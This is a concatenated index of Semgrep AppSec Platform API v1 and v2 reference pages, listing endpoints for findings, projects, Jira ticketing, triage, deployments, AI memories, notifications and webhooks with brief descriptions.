# Authentication
Source: https://docs.semgrep.dev/api-reference/v1/Authentication
The API supports authentication with an API token with the "Web API" permission, without limited scopes of access.
You can provision an API token [from the Settings page](https://semgrep.dev/orgs/-/settings/tokens).
# Semgrep API v1
Source: https://docs.semgrep.dev/api-reference/v1/Introduction
Welcome to the portal for Semgrep AppSec Platform's web API.
Semgrep is a fast, static analysis tool for finding bugs and enforcing code standards at editor, commit, and CI time. [Get started](https://docs.semgrep.dev/getting-started/).
This API is documented in the **OpenAPI format**.
Download OpenAPI specification:
# Terms of Use
Source: https://docs.semgrep.dev/api-reference/v1/Terms-of-Use
Please note, the materials made available herein are subject to the [Semgrep Terms of Use](https://semgrep.dev/resources/website-terms/), and your access or use of any of the same is your acknowledgment and acceptance of the such terms.
# List deployments
Source: https://docs.semgrep.dev/api-reference/v1/deploymentsservice/list-deployments
/public_v1.openapi.yaml get /api/v1/deployments
Request the deployments your auth can access.
Currently available auth scope does not extend over more than one deployment. This endpoint returns the single deployment your token can access. The endpoint additionally returns links to related resources available on this API.
# List code, supply chain, or AI-powered scan findings
Source: https://docs.semgrep.dev/api-reference/v1/findingsservice/list-code-supply-chain-or-ai-powered-scan-findings
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/findings
Request the list of code, supply chain, or AI-powered scan findings in an organization, paginated in pages of 100 entries and limited by the `since` timestamp. Findings are returned by `relevant_since` descending (see `since` in the Query Parameters list). Examples: List SAST findings with pagination, List SCA findings since timestamp, List AI-powered scan findings, List findings with filters.
# [Beta] Get SMS VPC Bootstrap CloudFormation Template
Source: https://docs.semgrep.dev/api-reference/v1/miscservice/[beta]-get-sms-vpc-bootstrap-cloudformation-template
/public_v1.openapi.yaml get /api/v1/bootstrap-sms-vpc
VPC support for Managed Scans is in private beta.
Returns the Managed Scans VPC Bootstrap CloudFormation template in JSON format for setting up cross-account infrastructure.
This template creates IAM roles and policies needed for Semgrep Managed Scanning (SMS) VPC infrastructure automation,
including the semgrep-sms-vpc-automation role and EC2 Image Builder distribution roles for gVisor container runtime.
See the original AWS cloudformation template format at https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-formats.html
# Ping
Source: https://docs.semgrep.dev/api-reference/v1/miscservice/ping
/public_v1.openapi.yaml get /api/v1/ping
Use to ping the server and assert liveness.
# List policies
Source: https://docs.semgrep.dev/api-reference/v1/policiesservice/list-policies
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/policies
# List policy rules
Source: https://docs.semgrep.dev/api-reference/v1/policiesservice/list-policy-rules
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/policies/{policyId}
# Update policy
Source: https://docs.semgrep.dev/api-reference/v1/policiesservice/update-policy
/public_v1.openapi.yaml put /api/v1/deployments/{deploymentId}/policies/{policyId}
# Add tags to project
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/add-tags-to-project
/public_v1.openapi.yaml put /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags
Add tags to a project for a deployment you have access to.
Any project tags that do not already exist for the deployment will be created automatically and associated with the project.
# Delete project
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/delete-project
/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}
Delete a project for a deployment you have access to. This will also delete all of the associated findings.
# Get project details
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/get-project-details
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/projects/{projectName}
Retrieve details for a single project associated with a deployment that you have access to.
# List all projects
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/list-all-projects
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentSlug}/projects
Request the list of projects that have been scanned or onboarded to Managed Scans. Does not return archived repositories. Returns 100 projects per page by default.
# Remove tags from project
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/remove-tags-from-project
/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentSlug}/projects/{projectName}/tags
Remove tags from a project for a deployment you have access to.
This request will not delete project tags from the deployment and will only remove
them from the requested project. Any other projects associated with the requested
tag will remain unaffected.
# Toggle Managed Scans for a project
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/toggle-managed-scans-for-a-project
/public_v1.openapi.yaml patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}/managed-scan
Enable or disable
[Semgrep Managed Scans](/docs/deployment/managed-scanning/overview)
for a project.
# Update project details
Source: https://docs.semgrep.dev/api-reference/v1/projectsservice/update-project-details
/public_v1.openapi.yaml patch /api/v1/deployments/{deploymentSlug}/projects/{projectName}
Update attributes for the project using the value passed in to the request body.
# Get scan details
Source: https://docs.semgrep.dev/api-reference/v1/scansservice/get-scan-details
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/scan/{scanId}
Request the details of a scan including the associated deployment, repository, and commit information.
# List scans (beta)
Source: https://docs.semgrep.dev/api-reference/v1/scansservice/list-scans-beta
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/scans/search
List the scans associated with a particular repository over the past 30 days.
# List secrets
Source: https://docs.semgrep.dev/api-reference/v1/secretsservice/list-secrets
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/secrets
# Create a new SBOM export job
Source: https://docs.semgrep.dev/api-reference/v1/supplychainservice/create-a-new-sbom-export-job
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/sbom/export
# Get the status of a SBOM export job
Source: https://docs.semgrep.dev/api-reference/v1/supplychainservice/get-the-status-of-a-sbom-export-job
/public_v1.openapi.yaml get /api/v1/deployments/{deploymentId}/sbom/export/{taskToken}
# List dependencies
Source: https://docs.semgrep.dev/api-reference/v1/supplychainservice/list-dependencies
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies
# List lockfiles in a given repository with dependencies
Source: https://docs.semgrep.dev/api-reference/v1/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies/repositories/{repositoryId}/lockfiles
# List repositories with dependencies
Source: https://docs.semgrep.dev/api-reference/v1/supplychainservice/list-repositories-with-dependencies
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/dependencies/repositories
# Create Jira tickets
Source: https://docs.semgrep.dev/api-reference/v1/ticketingservice/create-jira-tickets
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentSlug}/tickets
Create Jira tickets for your findings. You can create tickets by passing in a list of issue_ids or by passing in filter query parameters to dynamically select findings. If passing in filters, Semgrep will skip already ticketed findings. This endpoint is synchronous, so it may take some time for your request to resolve. Unlike creating tickets in-app, if ticket creation fails we won't automatically retry. This endpoint accepts a limit parameter (defaulting to 20) to limit the number of tickets created per request. If you specify a list of issue_ids greater than this limit, or your selected filters match on a number of issues greater than this limit, issues that were not ticketed are included in the Failed part of the response object. You can send another request to create tickets for these skipped issues. By default, findings belonging to the same repository and the same rule will be grouped together into a single Jira ticket. You can override this using the group_issues query parameter. Up to 50 issues can be grouped into a single ticket. You can optionally override the Jira project you create tickets in by passing in a Jira project ID as jira_project_id (the numeric ID rather than the project key). You can fetch this ID using the Jira API.
# Link an existing ticket to findings
Source: https://docs.semgrep.dev/api-reference/v1/ticketingservice/link-an-existing-ticket-to-findings
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/tickets/link
Link an existing external ticket (e.g. Jira) to one or more Semgrep findings by providing the ticket URL and a list of finding IDs. This does not create a ticket in your issue tracker β it only records the association in Semgrep. If a finding is already linked to a different ticket, the existing link is replaced. Requires a configured ticketing integration.
# Unlink a Jira ticket
Source: https://docs.semgrep.dev/api-reference/v1/ticketingservice/unlink-a-jira-ticket
/public_v1.openapi.yaml delete /api/v1/deployments/{deploymentId}/ticketing/v2/tickets/{externalTicketId}
Unlink a Jira ticket by its ID
# Unlink a ticket from findings
Source: https://docs.semgrep.dev/api-reference/v1/ticketingservice/unlink-a-ticket-from-findings
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentId}/tickets/unlink
Remove the ticket association from one or more Semgrep findings by providing a list of finding IDs. This does not delete the ticket in your issue tracker β it only removes the association in Semgrep.
# Bulk triage
Source: https://docs.semgrep.dev/api-reference/v1/triageservice/bulk-triage
/public_v1.openapi.yaml post /api/v1/deployments/{deploymentSlug}/triage
Bulk triage your findings. You can select the findings to triage by passing in a list of finding IDs as issue_ids, or by passing in filter query parameters. You must specify the issue_type of the findings you want to bulk triage. One of new_triage_state or new_note is required. If specifying a new_triage_reason, you must also use new_triage_state=ignored. Some filters only apply for findings associated with a given product.
# Authentication
Source: https://docs.semgrep.dev/api-reference/v2/Authentication
The API supports authentication with an API token with the "Web API" permission, without limited scopes of access.
You can provision an API token [from the Settings page](https://semgrep.dev/orgs/-/settings/tokens).
# Semgrep API v2
Source: https://docs.semgrep.dev/api-reference/v2/Introduction
Welcome to the portal for Semgrep AppSec Platform's web API v2.
The v2 API is under active development as Semgrep continues to expand platform capabilities. Semgrep will continue to support existing integrations and will not deprecate v1 until all v1 functionality is available in v2.
## API maturity levels
Each endpoint in the v2 API is marked with a maturity badge to help you understand its current state:
* π§ **Experimental** - Use at your own risk. This endpoint is not designed for third-party use or is under active development. Expect significant breaking changes.
* β οΈ **Beta** - This endpoint is being refined. Semgrep will communicate breaking changes to beta partners as we tweak the implementation.
* β **Stable** - No breaking changes will be made to this API. You can confidently build production integrations against these endpoints.
Use Stable endpoints for production applications and treat **experimental/beta** endpoints as previews of upcoming functionality.
This API is documented in the **OpenAPI format**.
Download OpenAPI specification:
# Terms of Use
Source: https://docs.semgrep.dev/api-reference/v2/Terms-of-Use
Please note, the materials made available herein are subject to the [Semgrep Terms of Use](https://semgrep.dev/resources/website-terms/), and your access or use of any of the same is your acknowledgment and acceptance of the such terms.
# Create Fix Job
Source: https://docs.semgrep.dev/api-reference/v2/aifixjobsservice/create-fix-job
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/{issueId}/fix_jobs
This feature is currently in Public Beta.
Create an automated SAST fix job for the given issue. This triggers an AI-powered workflow that analyzes the vulnerability, generates a fix, and opens a pull request in the repository.
# Create Combined Task
Source: https://docs.semgrep.dev/api-reference/v2/aitasksservice/create-combined-task
/public_v2.openapi.yaml post /api/ai/{deploymentId}/combined_task
Create a combined task for a deployment
# Create Pattern Fix Task
Source: https://docs.semgrep.dev/api-reference/v2/aitasksservice/create-pattern-fix-task
/public_v2.openapi.yaml post /api/ai/pattern_fix
Create a pattern fixing task for a given pattern and language. This is used in the structure mode of the editor
# Get Task Info
Source: https://docs.semgrep.dev/api-reference/v2/aitasksservice/get-task-info
/public_v2.openapi.yaml get /api/ai/{deploymentId}/info
Get the task info for a deployment
# Create Autofix
Source: https://docs.semgrep.dev/api-reference/v2/autofixservice/create-autofix
/public_v2.openapi.yaml post /api/v1/deployments/{deploymentId}/issues/{issueId}/autofix
This feature is currently in Public Beta.
Triggers an Autofix workflow for the given issue. The workflow runs asynchronously; it analyzes the issue, generates a fix, and opens a pull request in the underlying repository. Supports SAST, AI SAST, and SCA issue types β the issue's type is resolved server-side and dispatched to the corresponding Autofix path.
A `success: true` response means the Autofix job has been **accepted for processing**, not that a pull request has been opened. The PR is created by an asynchronous workflow that runs after this endpoint returns.
# Create Automation
Source: https://docs.semgrep.dev/api-reference/v2/automationsservice/create-automation
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/automations
Create a new automation.
# Delete Automation
Source: https://docs.semgrep.dev/api-reference/v2/automationsservice/delete-automation
/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/automations/{automationId}
Delete an automation by its ID.
# List Automations
Source: https://docs.semgrep.dev/api-reference/v2/automationsservice/list-automations
/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/automations
List all automations.
# List Automations
Source: https://docs.semgrep.dev/api-reference/v2/automationsservice/list-automations-1
/public_v2.openapi.yaml get /api/v2/deployments/{deploymentId}/automations
List all automations with pagination support.
# Update Automation
Source: https://docs.semgrep.dev/api-reference/v2/automationsservice/update-automation
/public_v2.openapi.yaml put /api/notifications/deployments/{deploymentId}/automations/{automationId}
Update an existing automation.
# Post autotriage feedback
Source: https://docs.semgrep.dev/api-reference/v2/autotriagefeedbackservice/post-autotriage-feedback
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/autotriage_feedback
Post autotriage feedback
# Get apionboardingdeployments checklist
Source: https://docs.semgrep.dev/api-reference/v2/checklistservice/get-apionboardingdeployments-checklist
/public_v2.openapi.yaml get /api/onboarding/deployments/{deploymentId}/checklist
# Patch apionboardingdeployments checklist
Source: https://docs.semgrep.dev/api-reference/v2/checklistservice/patch-apionboardingdeployments-checklist
/public_v2.openapi.yaml patch /api/onboarding/deployments/{deploymentId}/checklist
# Post apionboardingdeployments invite members
Source: https://docs.semgrep.dev/api-reference/v2/checklistservice/post-apionboardingdeployments-invite_members
/public_v2.openapi.yaml post /api/onboarding/deployments/{deploymentId}/invite_members
# Get deployment admin product config
Source: https://docs.semgrep.dev/api-reference/v2/deploymentproductsservice/get-deployment-admin-product-config
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/products/admin
Get the admin product configuration for a deployment
# Get deployment product config
Source: https://docs.semgrep.dev/api-reference/v2/deploymentproductsservice/get-deployment-product-config
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/products
Get the product configuration for a deployment
# Upsert deployment product config
Source: https://docs.semgrep.dev/api-reference/v2/deploymentproductsservice/upsert-deployment-product-config
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/products
Create or update the product configuration for a deployment
# Add Deployment User
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/add-deployment-user
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/users
Add a user to the deployment
# Create Deployment
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/create-deployment
/public_v2.openapi.yaml post /api/agent/deployments
Create adeployment
# Get Deployment
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployment
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}
Get a deployment
# Get Deployment Authorized Actions
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployment-authorized-actions
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/authorized_actions
Get list of actions the user is authorized to take on the deployment
# Get deployment default user role
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployment-default-user-role
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/default_user_role
Get the default user role for a deployment
# Get Deployment GitHub App Status
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployment-github-app-status
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/github_app_status
Check if the Semgrep GitHub app is installed for the deployment
# Get Deployment Users
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployment-users
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/users
Get deployment users
# Get Deployments
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/get-deployments
/public_v2.openapi.yaml get /api/agent/deployment
Get all deployments for a token
# List Deployment Users
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/list-deployment-users
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/users/list
List deployment users (paginated)
# Patch apiagentdeployments users roles
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/patch-apiagentdeployments-users-roles
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/users/{userId}/roles
# Post apiagentdeployments has deepsemgrep
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/post-apiagentdeployments-has_deepsemgrep
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_deepsemgrep
# Post apiagentdeployments has dependency query
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/post-apiagentdeployments-has_dependency_query
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_dependency_query
# Post apiagentdeployments has triage via comment
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/post-apiagentdeployments-has_triage_via_comment
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/has_triage_via_comment
# Post apiagentdeployments productsfeedback
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/post-apiagentdeployments-productsfeedback
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/products/feedback
# Remove Deployment User
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/remove-deployment-user
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/users/{userId}
Remove a user from the deployment
# Update Deployment
Source: https://docs.semgrep.dev/api-reference/v2/deploymentservice/update-deployment
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}
Update a deployment
# List Deployments
Source: https://docs.semgrep.dev/api-reference/v2/deploymentsservice/list-deployments
/public_v2.openapi.yaml get /api/v2/deployments
Request the deployments your auth can access.
Currently available auth scope does not extend over more than one deployment. This endpoint returns the single deployment your token can access. The endpoint additionally returns links to related resources available on this API.
# List Deployment SSO Providers
Source: https://docs.semgrep.dev/api-reference/v2/deploymentssoprovidersservice/list-deployment-sso-providers
/public_v2.openapi.yaml get /api/auth/sso/deployments/{deploymentId}/providers
List all SSO providers for a deployment
# Create or update a deployment tag
Source: https://docs.semgrep.dev/api-reference/v2/deploymenttagservice/create-or-update-a-deployment-tag
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/tags/{repositoryTag}
Create or update a deployment tag
# Delete a deployment tag
Source: https://docs.semgrep.dev/api-reference/v2/deploymenttagservice/delete-a-deployment-tag
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/tags/{repositoryTag}
Delete a deployment tag
# Find deployment tags with project counts
Source: https://docs.semgrep.dev/api-reference/v2/deploymenttagservice/find-deployment-tags-with-project-counts
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/tags/find
Find deployment tags with project counts
# Get a deployment tag
Source: https://docs.semgrep.dev/api-reference/v2/deploymenttagservice/get-a-deployment-tag
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/tags/{repositoryTag}
Get a deployment tag
# List deployment tags
Source: https://docs.semgrep.dev/api-reference/v2/deploymenttagservice/list-deployment-tags
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/tags
List deployment tags
# Run Pattern
Source: https://docs.semgrep.dev/api-reference/v2/editorservice/run-pattern
/public_v2.openapi.yaml post /api/run
Execute a Semgrep pattern against target code and return the results
# Create External Tickets
Source: https://docs.semgrep.dev/api-reference/v2/externalticketingservice/create-external-tickets
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/create_tickets
Create tickets in your issue tracking system for Semgrep findings.
# Delete External Ticket
Source: https://docs.semgrep.dev/api-reference/v2/externalticketingservice/delete-external-ticket
/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/{nangoExternalTicketId}
Delete a ticket and unlink it from Semgrep findings.
# Get External Ticketing Instances
Source: https://docs.semgrep.dev/api-reference/v2/externalticketingservice/get-external-ticketing-instances
/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/ticketing/v2
Gets the issue tracking systems linked to a deployment. E.g. Jira.
# Link an Existing Ticket to Findings
Source: https://docs.semgrep.dev/api-reference/v2/externalticketingservice/link-an-existing-ticket-to-findings
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/link
Link an existing external ticket (e.g. Jira) to one or more Semgrep findings by providing the ticket URL and a list of finding IDs. This does not create a ticket in your issue tracker β it only records the association in Semgrep. If a finding is already linked to a different ticket, the existing link is replaced.
# Unlink a Ticket from Findings
Source: https://docs.semgrep.dev/api-reference/v2/externalticketingservice/unlink-a-ticket-from-findings
/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/ticketing/v2/{ticketingInstanceId}/tickets/unlink
Remove the ticket association from one or more Semgrep findings by providing a list of finding IDs. This does not delete the ticket in your issue tracker β it only removes the association in Semgrep.
# List Available Feature Rollouts
Source: https://docs.semgrep.dev/api-reference/v2/featurerolloutsservice/list-available-feature-rollouts
/public_v2.openapi.yaml get /api/agent/features
List all available feature rollouts
# Delete apiagentdeployments ignores
Source: https://docs.semgrep.dev/api-reference/v2/ignoresservice/delete-apiagentdeployments-ignores
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/ignores
# Get apiagentdeployments ignores
Source: https://docs.semgrep.dev/api-reference/v2/ignoresservice/get-apiagentdeployments-ignores
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/ignores
# Patch apiagentdeployments ignores
Source: https://docs.semgrep.dev/api-reference/v2/ignoresservice/patch-apiagentdeployments-ignores
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/ignores
# Post apiagentdeployments ignores
Source: https://docs.semgrep.dev/api-reference/v2/ignoresservice/post-apiagentdeployments-ignores
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/ignores
# Get SMS VPC Bootstrap CloudFormation Template
Source: https://docs.semgrep.dev/api-reference/v2/infrastructureconfigurationsservice/get-sms-vpc-bootstrap-cloudformation-template
/public_v2.openapi.yaml get /api/infra-config/bootstrap-sms-vpc
VPC support for Managed Scans is in private beta.
Returns the Managed Scans VPC Bootstrap CloudFormation template in JSON format for setting up cross-account infrastructure.
This template creates IAM roles and policies needed for Semgrep Managed Scanning (SMS) VPC infrastructure automation,
including the semgrep-sms-vpc-automation role and EC2 Image Builder distribution roles for gVisor container runtime.
See the original AWS cloudformation template format at https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-formats.html
# Bulk Update Issues
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/bulk-update-issues
/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/findings/v2
Bulk triage issues that match specified filters
# Export Issues
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/export-issues
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/export
Asynchronously export issues matching filters to a file
# Get Issue
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/get-issue
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/issues/v2/{issueId}
Get a single issue by ID with details
# Get Issue Code Snippets
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/get-issue-code-snippets
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/issues/v2/{issueId}/code-snippets
Get code snippets for an issue.
# Get Issue Counts
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/get-issue-counts
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issue_counts
Get counts of issues by status with filtering
# Get Issue Filters
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/get-issue-filters
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issue_filters
Get available filter options for issues
# List Issue Groups
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/list-issue-groups
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues/search
Search and group issues by rule with filtering and pagination
# List Issues
Source: https://docs.semgrep.dev/api-reference/v2/issuesservice/list-issues
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/issues
List an organization's recent issues with filtering, sorting, and pagination
# Delete apiagentdeployments managed scan settings
Source: https://docs.semgrep.dev/api-reference/v2/managedscansettingsservice/delete-apiagentdeployments-managed_scan_settings
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/managed_scan_settings/{managedScanSettingsId}
# Get apiagentdeployments managed scan settings
Source: https://docs.semgrep.dev/api-reference/v2/managedscansettingsservice/get-apiagentdeployments-managed_scan_settings
/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/managed_scan_settings
# Post apiagentdeployments managed scan settings
Source: https://docs.semgrep.dev/api-reference/v2/managedscansettingsservice/post-apiagentdeployments-managed_scan_settings
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/managed_scan_settings
# Put apiagentdeployments managed scan settings
Source: https://docs.semgrep.dev/api-reference/v2/managedscansettingsservice/put-apiagentdeployments-managed_scan_settings
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/managed_scan_settings/{managedScanSettingsId}
# Create Memory
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/create-memory
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories
Create a new memory.
# Create Memory from Triage
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/create-memory-from-triage
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/triage
Create a new memory from a triage event.
# Delete Memory
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/delete-memory
/public_v2.openapi.yaml delete /api/ai/deployments/{deploymentId}/memories/{memoryId}
Delete a memory by its ID.
# Find Relevant Issues
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/find-relevant-issues
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/relevant_issues
Find relevant issues for a given rule and repository.
# Get memories by ids
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/get-memories-by-ids
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/ids
Get memories by ids.
# Get memories stats
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/get-memories-stats
/public_v2.openapi.yaml get /api/ai/deployments/{deploymentId}/memories/stats
Get statistics about a deployment's memories performance
# List Memories
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/list-memories
/public_v2.openapi.yaml post /api/ai/deployments/{deploymentId}/memories/list
List memories, optionally scoped to a single repository.
# List Suggested Memories
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/list-suggested-memories
/public_v2.openapi.yaml get /api/ai/deployments/{deploymentId}/memories/suggested
List all suggested memories.
# Update Memory
Source: https://docs.semgrep.dev/api-reference/v2/memoriesservice/update-memory
/public_v2.openapi.yaml put /api/ai/deployments/{deploymentId}/memories/{memoryId}
Update a memory by replacement.
# Check container health
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/check-container-health
/public_v2.openapi.yaml get /api/health-check
Check if container is healthy
# Check container readiness
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/check-container-readiness
/public_v2.openapi.yaml get /api/readiness-check
Check if container started up correctly
# Get Identity
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/get-identity
/public_v2.openapi.yaml get /api/agent/identity
Returns the agent's bearer identity
# Get IP
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/get-ip
/public_v2.openapi.yaml get /api/agent/ip
Returns the current IP address
# Get Tenant
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/get-tenant
/public_v2.openapi.yaml get /api/agent/tenant
Returns the current tenant name for the server (e.g. default)
# Ping
Source: https://docs.semgrep.dev/api-reference/v2/miscservice/ping
/public_v2.openapi.yaml get /api/agent/ping
Responds with pong
# Create Notification Rule
Source: https://docs.semgrep.dev/api-reference/v2/notificationrulesservice/create-notification-rule
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions
Create a notification rule
# Delete Notification Rule
Source: https://docs.semgrep.dev/api-reference/v2/notificationrulesservice/delete-notification-rule
/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}
Delete a notification rule
# List Notification Rules
Source: https://docs.semgrep.dev/api-reference/v2/notificationrulesservice/list-notification-rules
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions/list
List notification rules
# Replace Notification Rule
Source: https://docs.semgrep.dev/api-reference/v2/notificationrulesservice/replace-notification-rule
/public_v2.openapi.yaml put /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}
Replace a notification rule
# Test Notification Rule
Source: https://docs.semgrep.dev/api-reference/v2/notificationrulesservice/test-notification-rule
/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/actions/{notificationRuleId}/test
Test a notification rule
# List Unread Notifications
Source: https://docs.semgrep.dev/api-reference/v2/notificationsservice/list-unread-notifications
/public_v2.openapi.yaml get /api/notifications/in-app/deployments/{deploymentId}
Returns a paginated list of unread notifications for a particular viewer
# Mark Notifications as Seen
Source: https://docs.semgrep.dev/api-reference/v2/notificationsservice/mark-notifications-as-seen
/public_v2.openapi.yaml put /api/notifications/in-app/deployments/{deploymentId}/mark_as_seen
Marks a list of notifications as seen
# Create Notification Webhook
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/create-notification-webhook
/public_v2.openapi.yaml post /api/notification_webhooks/deployments/{deploymentId}/webhooks
Create a new webhook endpoint.
# Delete Notification Webhook
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/delete-notification-webhook
/public_v2.openapi.yaml delete /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}
Delete a notification webhook by its ID.
# Get Notification Webhook
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/get-notification-webhook
/public_v2.openapi.yaml get /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}
Get a specific notification webhook by ID.
# List Notification Webhooks
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/list-notification-webhooks
/public_v2.openapi.yaml get /api/notification_webhooks/deployments/{deploymentId}/webhooks
List all notification webhooks for a deployment.
# Test Notification Webhook
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/test-notification-webhook
/public_v2.openapi.yaml post /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}/test
Send a test payload to the webhook endpoint.
# Update Notification Webhook
Source: https://docs.semgrep.dev/api-reference/v2/notificationwebhooksservice/update-notification-webhook
/public_v2.openapi.yaml put /api/notification_webhooks/deployments/{deploymentId}/webhooks/{webhookId}
Update a notification webhook by replacement.
# List Policies
